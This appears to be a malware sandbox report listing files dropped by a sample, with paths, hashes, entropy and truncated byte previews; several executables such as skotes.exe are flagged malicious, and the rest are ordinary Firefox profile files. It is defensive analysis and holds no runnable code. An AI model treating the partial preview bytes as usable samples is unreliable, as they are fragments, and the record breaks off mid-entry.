C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1064960
Entropy (8bit):	7.945251193846573
Encrypted:	false
SSDEEP:	24576:cRrslYlVpyjMe2q97J++0jjoO7oGj1KOmGgac+Tw:c2G2GqZJgjovG8BD
MD5:	DDFBEE6A9EB0EE5DE83E20A03A2880C8
SHA1:	16F53E6F2E133036F7EE91D5855CCF373AD5E01B
SHA-256:	E9F9347506BC06011C2D448F6FE9A59EA29CDFAE70745845D1DC0F910F574E0E
SHA-512:	CB60425A8E07DE93DAF52389795FBAD0B9515FD36DE27546463802F23D4879B3A2C2FC39F80A2060C45E5FAE3D6B006DDDC7C5601A84AB4F19DDAF0D5F1B6425
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......j...........@...........................j...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...dxmeshoa.0...pP..$...<..............@...odcdjryq......j......`..............@....taggant.0....j.."...f..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2947072
Entropy (8bit):	6.55091545972585
Encrypted:	false
SSDEEP:	49152:fMPOIsXgHiq+sWJh0otBwwlDXB7bZY9APyb:rIOoiqRKhNLjBJYm0
MD5:	3C27780963B8E66D025EEA98B9530C94
SHA1:	44FA6A54C3AC1CD16CABC1655D5D168FD042A122
SHA-256:	537F43980854B039F1C3DB1F35B837A8452026DC41F633AC25FDD319F018E8DD
SHA-512:	9833471B1F85D279FBA3E7BAC2A99739B443FE70A88EA2415ABE615A05C7C87BF8AC6C061925C05366DAA0139B47E7C87F3A6176B90A3794AFAF09AE558CAE96
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.....Ka-...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...qtagrrkd.p......b..p..............@...hxekdemw.....p0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2947072
Entropy (8bit):	6.55091545972585
Encrypted:	false
SSDEEP:	49152:fMPOIsXgHiq+sWJh0otBwwlDXB7bZY9APyb:rIOoiqRKhNLjBJYm0
MD5:	3C27780963B8E66D025EEA98B9530C94
SHA1:	44FA6A54C3AC1CD16CABC1655D5D168FD042A122
SHA-256:	537F43980854B039F1C3DB1F35B837A8452026DC41F633AC25FDD319F018E8DD
SHA-512:	9833471B1F85D279FBA3E7BAC2A99739B443FE70A88EA2415ABE615A05C7C87BF8AC6C061925C05366DAA0139B47E7C87F3A6176B90A3794AFAF09AE558CAE96
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.....Ka-...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...qtagrrkd.p......b..p..............@...hxekdemw.....p0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1888256
Entropy (8bit):	7.951587076394045
Encrypted:	false
SSDEEP:	49152:44GXt2hNmXyPmXzhTJ1Z0qPbtLwGi7P0nNrXs:jiE+eyJ1Z0cbmGcq
MD5:	3343741767986EBB3E2E066ED65F51CE
SHA1:	BA42488EFDF809695CD7C68BE7A88DBF704242C8
SHA-256:	0C30D4C02FE2D4D03E18E6721EF8EC352B3734E70D826ADF6FC419284BA4C4E4
SHA-512:	9F731D3978F7CC3A35B42DF6D08333943A2F28C9626F02ECAFC20E279D852A50B6C3A5F0B0F9801BB8C1CCF8F7E89B9A4FCCC46DE5DC4BA456110E10B5917CEC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@.......................... K.....\|.....@.................................W...k.............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .p*.........................@...yoiwrcva..... 1.....................@...jttglrmm......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1869824
Entropy (8bit):	7.94602499330977
Encrypted:	false
SSDEEP:	49152:c2G2GqZJgjovG8BQmVswkY/aqhxnSWp3Fw0d4VPMCsve:M2JKovsKakFSkmNPB4e
MD5:	52DA2906C78BC9840CF933C8BCBF351A
SHA1:	92DF58073F14470DC06759AF4FEC2E9F4C8204CE
SHA-256:	DCB3603EC608359CAD55552387CD857560E3BF9A3B0F0A9B94CC02F569BA314D
SHA-512:	AA7E4015715E154702A74C4B54CE6A477AE4E5C7281022C7AAE00E284079C3B5606098125DA1895DE7B873B5B7EA07FDA2988C2E1F9D5731CCE8993851DB4DA9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......j...........@...........................j...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...dxmeshoa.0...pP..$...<..............@...odcdjryq......j......`..............@....taggant.0....j.."...f..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584682966869733
Encrypted:	false
SSDEEP:	12288:5qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TJ:5qDEvCTbMWu7rQYlBQcBiT6rprG8abJ
MD5:	D943B374DC0CF454E1BC9630DF068C02
SHA1:	0E126753D898684BF7C4398E16759E4910836361
SHA-256:	F0602098A01C89E7019805FEFAB30E135D72EA9827DA29FDB1C4B6AD5735DFE6
SHA-512:	453A87178D6793003701E7A4FB35AFD3304B7EBE7F83DB8E0D5E91496EBF43C43D65B24189D394328B38FBFEB71336B5593CF4CD06E533878EE2CA6DC5437DB2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....-.g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1888256
Entropy (8bit):	7.951587076394045
Encrypted:	false
SSDEEP:	49152:44GXt2hNmXyPmXzhTJ1Z0qPbtLwGi7P0nNrXs:jiE+eyJ1Z0cbmGcq
MD5:	3343741767986EBB3E2E066ED65F51CE
SHA1:	BA42488EFDF809695CD7C68BE7A88DBF704242C8
SHA-256:	0C30D4C02FE2D4D03E18E6721EF8EC352B3734E70D826ADF6FC419284BA4C4E4
SHA-512:	9F731D3978F7CC3A35B42DF6D08333943A2F28C9626F02ECAFC20E279D852A50B6C3A5F0B0F9801BB8C1CCF8F7E89B9A4FCCC46DE5DC4BA456110E10B5917CEC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@.......................... K.....\|.....@.................................W...k.............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .p*.........................@...yoiwrcva..... 1.....................@...jttglrmm......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\tmpaddon

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	453023
Entropy (8bit):	7.997718157581587
Encrypted:	true
SSDEEP:	12288:tESTeqTI2r4ZbCgUKWKNeRcPMb6qlV7hVZe3:tEsed2Xh9/bdzZe3
MD5:	85430BAED3398695717B0263807CF97C
SHA1:	FFFBEE923CEA216F50FCE5D54219A188A5100F41
SHA-256:	A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
SHA-512:	06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
Malicious:	false
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4514
Entropy (8bit):	4.939400062310609
Encrypted:	false
SSDEEP:	96:8S+OcaPUFqOdwNIOdvtkeQjvYZUBLtfc38P:8S+Oc+UAOdwiOdKeQjDLtfS8P
MD5:	70B0AF55FD3738E5C2B35131B65326BD
SHA1:	5EB7A1E8959CFDB5AA45B3FA582099BDB45B07C5
SHA-256:	46936960CF3501F0D096D9CBE4B1FD1A24D693912957ABFDE36B710F5344CF4D
SHA-512:	53E787F34243DA20A9126FAF44937FFB7E664B06BC1AB1622C05919A8529FB83BA1186CED620B4D6E5BC1962D1617AB4413967632F05276F0DD3030198788641
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"d14ccc2f-033b-49c7-a2e0-d7a247e302f1","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-05T07:41:33.819Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"mixed-content-level-2-roll-out-release-113":{"slug":"mixed-content-level-2-roll-out-release-113","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4514
Entropy (8bit):	4.939400062310609
Encrypted:	false
SSDEEP:	96:8S+OcaPUFqOdwNIOdvtkeQjvYZUBLtfc38P:8S+Oc+UAOdwiOdKeQjDLtfS8P
MD5:	70B0AF55FD3738E5C2B35131B65326BD
SHA1:	5EB7A1E8959CFDB5AA45B3FA582099BDB45B07C5
SHA-256:	46936960CF3501F0D096D9CBE4B1FD1A24D693912957ABFDE36B710F5344CF4D
SHA-512:	53E787F34243DA20A9126FAF44937FFB7E664B06BC1AB1622C05919A8529FB83BA1186CED620B4D6E5BC1962D1617AB4413967632F05276F0DD3030198788641
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"d14ccc2f-033b-49c7-a2e0-d7a247e302f1","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-05T07:41:33.819Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"mixed-content-level-2-roll-out-release-113":{"slug":"mixed-content-level-2-roll-out-release-113","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5318
Entropy (8bit):	6.62067557672702
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrwLUe:VTx2x2t0FDJ4NpwZMd0EJwLv
MD5:	A0DD0256A122A64D1C1A98C36F89F368
SHA1:	B82AF63B4A4261477DA4CD2AC34B4DD7BB5EBEA0
SHA-256:	EE9278644D02739D27E4FD9D8006AD49D9A0D80AD251BA2C3F144A408F65A9F3
SHA-512:	ED3AE377C1AD9E6694307CC60554665058541DD2BB80FEB1832616ACE39623E842DB3CD9153771ABD1874703DCBF4B81CABE050E2F2553D723A96A163AA41911
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5318
Entropy (8bit):	6.62067557672702
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrwLUe:VTx2x2t0FDJ4NpwZMd0EJwLv
MD5:	A0DD0256A122A64D1C1A98C36F89F368
SHA1:	B82AF63B4A4261477DA4CD2AC34B4DD7BB5EBEA0
SHA-256:	EE9278644D02739D27E4FD9D8006AD49D9A0D80AD251BA2C3F144A408F65A9F3
SHA-512:	ED3AE377C1AD9E6694307CC60554665058541DD2BB80FEB1832616ACE39623E842DB3CD9153771ABD1874703DCBF4B81CABE050E2F2553D723A96A163AA41911
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addons.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addons.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\store.json.mozlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\store.json.mozlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\extensions.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.186376962556299
Encrypted:	false
SSDEEP:	768:NI40vfXXQ4z6X4n44a4T4h4b4rhEhvj4Lw4m4x44g:NJhWvx
MD5:	C2A8F76D683C9F86054CA7775732A180
SHA1:	FB1F8B84825D53E58290E53D65F8A73C5794E281
SHA-256:	4744AACB03666A594CF1BB6E6491105F0AB600259D8E0BA483164F2AE9C90221
SHA-512:	F804B8CF7277D2F6E8AA8BDFFF099ECCEC00CE59FEB3F3EB47D5E4B36FBB2C23466233C966F53483F0DF365E13AB9BB9256B685645FC366A5A24C72907E54025
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{9f54712e-79e2-445b-974a-266a0185f206}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\extensions.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.186376962556299
Encrypted:	false
SSDEEP:	768:NI40vfXXQ4z6X4n44a4T4h4b4rhEhvj4Lw4m4x44g:NJhWvx
MD5:	C2A8F76D683C9F86054CA7775732A180
SHA1:	FB1F8B84825D53E58290E53D65F8A73C5794E281
SHA-256:	4744AACB03666A594CF1BB6E6491105F0AB600259D8E0BA483164F2AE9C90221
SHA-512:	F804B8CF7277D2F6E8AA8BDFFF099ECCEC00CE59FEB3F3EB47D5E4B36FBB2C23466233C966F53483F0DF365E13AB9BB9256B685645FC366A5A24C72907E54025
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{9f54712e-79e2-445b-974a-266a0185f206}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
